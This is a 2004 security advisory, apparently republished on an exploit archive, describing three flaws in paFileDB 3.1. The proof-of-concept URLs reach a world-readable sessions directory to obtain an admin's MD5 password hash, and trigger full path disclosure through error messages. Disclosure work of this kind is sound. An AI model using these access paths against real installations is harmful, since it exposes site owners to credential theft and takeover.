exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Echo Security Advisory 2004.9

Echo Security Advisory 2004.9
Posted Dec 12, 2004
Authored by y3dips, Echo Security | Site y3dips.echo.or.id

paFileDB 3.1 has a couple vulnerabilities that allow for admin password hash retrieval and full path disclosure.

tags | exploit, vulnerability
SHA-256 | 7941c69e2c5585e3dd631051168d891a80082570eee9864842499d58fad048a2

Echo Security Advisory 2004.9

Change Mirror Download


ECHO_ADV_09$2004

---------------------------------------------------------------------------
Multiple Vulnerabilities in paFileDB 3.1
---------------------------------------------------------------------------

Author: y3dips
Date: November, 26th 2004
Location: Indonesia, Jakarta
Web: http://echo.or.id/adv/adv09-y3dips-2004.txt

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

paFileDB 3.1 ( PHP ARENA ) Written by Todd ( todd@phparena.net )
web : http://www.phparena.net

---------------------------------------------------------------------------

Vulnerabilities:
~~~~~~~~~~~~~~~~

1. Possible to see Admin Hash Password if using sessions method

If the site using sessions to handle the authentication in the site, Attacker
could access the directory "sessions" and see the sessions in the same
time when the admin log in to manage the site (which is include admin hash password)


----- snip from manual page -----

In order to reduce compatibility problems, paFileDB 3.0 Final can use either
sessions or cookies. Cookies are recommended and enabled by default, because
there's less compatibility issues and unlike sessions, cookies don't require
any data to be stored on the server.

...
To switch between sessions and cookies, open up pafiledb.php and look for
the text:

$authmethod = "cookies"; OR :
$authmethod = "sessions";
...

Before you make the switch to sessions, make a directory called "sessions"
in your paFileDB folder (same folder as pafiledb.php) and CHMOD the directory 777.

----- snip ------

POC

Scenario :

* admin (dudul) log in to manage the site at
http://URL/pafiledb/pafiledb.php?action=admin ,then the session is recorded in
sessions directory

+ attacker access the directory directly and see the "sessions" (in a same time)

Exploit: http://URL/pafiledb/sessions/[sessionfile]

then access the listing sessions file
example : 'sess_12c9d926184e836451a15ed837bb875d'

which is contain

user|s:5:"dudul";pass|s:32:"810f9f3fbad17446a22ed2e516a12c36";
ip|s:32:"f528764d624db129b32c21fbca0cb8d6";

---- info that attacker get ----

user : dudul
pass : 810f9f3fbad17446a22ed2e516a12c36 <-- MD5

----------------------------------------------------------------------------

2. Full path disclosure

A remote user can access the file directly to cause the system to display
an error message that indicates the installation path. The resulting error
message will disclose potentially sensitive installation path information
to the remote attacker.

read my artikel about path disclosure with Indonesian language at

http://ezine.echo.or.id/ezine8/ez-r08-y3dips-pathdisc.txt


POC :

http://URL/pafiledb/includes/admin/admins.php

Fatal error: Call to undefined function: adlocbar() in
/var/www/html/pafiledb/includes/admin/admins.php on line 13

http://URL/pafiledb/includes/admin/category.php

Fatal error: Call to undefined function: adlocbar() in
/var/www/html/pafiledb/includes/admin/category.php on line 232


http://URL/pafiledb/includes/team.php

Warning: main(./includes/team/login.php): failed to open stream:
No such file or directory in /var/www/html/pafiledb/includes/team.php on line 17

Warning: main(): Failed opening './includes/team/login.php' for inclusion
(include_path='.:/usr/share/pear')
in /var/www/html/pafiledb/includes/team.php on line 17

- - - - - - - - - -
FIX it :

For User and do not know how to fix the script , change php.ini file setting
then turn on log_errors , and turn off display_error

----------------------------------------------------------------------------

3. Possible to Have No Admin Account

All admin have same power, so every admin could delete another admin until
there is no admin left , if all admin acount deleted, so all admin could not log
in to manage the site

----------------------------------------------------------------------------

Shoutz:
~~~~~~~

~ m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to @T echo/staff
~ newbie_hacker@yahoogroups.com ,
~ #e-c-h-o & #aikmel @DALNET

---------------------------------------------------------------------------
Contact:
~~~~~~~~

y3dips || echo|staff || y3dips(at)echo(dot)or(dot)id
Homepage: http://y3dips.echo.or.id/

-------------------------------- [ EOF ] ---------------------------------
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close